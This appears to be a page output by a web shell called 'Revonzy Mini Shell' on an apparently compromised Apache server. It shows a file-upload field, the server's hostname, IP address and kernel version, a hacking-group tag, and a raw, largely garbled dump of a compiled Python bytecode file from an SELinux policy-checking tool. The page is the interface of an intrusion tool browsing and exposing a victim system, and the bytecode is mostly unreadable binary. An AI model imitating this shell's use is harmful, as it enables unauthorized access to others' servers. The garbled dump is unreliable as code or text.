Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /lib64/python3.9/site-packages/setools/checker/__pycache__/
Dosya Yükle :
Şuanki Dosya : //lib64/python3.9/site-packages/setools/checker/__pycache__/roexec.cpython-39.pyc

a

q�qe�@s|ddlZddlmZddlmZmZmZddlmZm	Z	ddl
mZddlm
Z
dd	lmZd
ZdZdZGd
d�de
�ZdS)�N)�defaultdict)�Dict�List�Set�)�	AnyTERule�Type)�TERuleQuery�)�
CheckerModule)�ConfigSetDescriptor�exempt_write_domain�exempt_exec_domain�exempt_filecs�eZdZdZdZeeeef�Z	e
dddd�Ze
dddd�Ze
dddd�Z
dd��fd	d
�Zeeeefd�dd�Zed�d
d�Z�ZS)�ReadOnlyExecutablesz@Checker module for asserting all executable files are read-only.Zro_execsZlookup_type_or_attrFT)�strict�expandN)�returncsDt��|||�t�t�|_|�t�|_|�t	�|_
|�t�|_dS)N)
�super�__init__�loggingZ	getLogger�__name__�log�get�EXEMPT_WRITEr
�EXEMPT_FILEr�EXEMPT_EXECr)�self�policyZ	checknameZconfig��	__class__��</usr/lib64/python3.9/site-packages/setools/checker/roexec.pyr!s
zReadOnlyExecutables.__init__cCs�|j�d�|j�d�|j��t|jdddd�}tt�}|��D]t}t|j	�
��|j}t|j�
��|j}|rv|s�|j�d�|��qB|D]&}|j�d�||��||�
|�q�qB|S)	Nz)Collecting list of executable file types.zIgnore exec domains: {!r}�Zallow��file)ZexecuteZexecute_no_trans�ZruletypeZtclassZpermszIgnoring execute rule: {}z"Determined {} is executable by: {})r�debug�formatrr	rr�set�results�sourcer�targetr�add)r�queryZ	collected�ruleZsources�targets�tr!r!r"�_collect_executables)s$�z(ReadOnlyExecutables._collect_executablescCs6|j�d�t|jdddd�}|��}tt�}|��D]P}|j�d�	|��||_
t|���D]&}t|j
���|jr^||�|�q^q6t|���D]~}|j�d�|j�d�	|��|j�d	�t||�D]}|j�d
�	|��q�|j�d�t||�D]}|�t|��q�q�|j�d�	t|���t|���S)
Nz#Checking executables are read-only.r#r$)�write�appendr&z+Checking if executable type {} is writable.z
------------

z!Executable type {} is writable.

zExecute rules:
z	    * {}
z
Write rules:
z
{} failure(s))r�infor	rr2rr)�keysr'r(r,�sortedr*r+rr
r-�outputr3Zlog_fail�str�len)rr.ZexecutablesZfailuresZ	exec_typer/r!r!r"�runAs2�zReadOnlyExecutables.run)r�
__module__�__qualname__�__doc__Z
check_type�	frozensetrrrZcheck_configrr
rrrrrrrr2rr;�
__classcell__r!r!rr"rsr)r�collectionsr�typingrrrZ	policyreprrZterulequeryr	Z
checkermodulerZdescriptorsrrrrrr!r!r!r"�<module>s

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4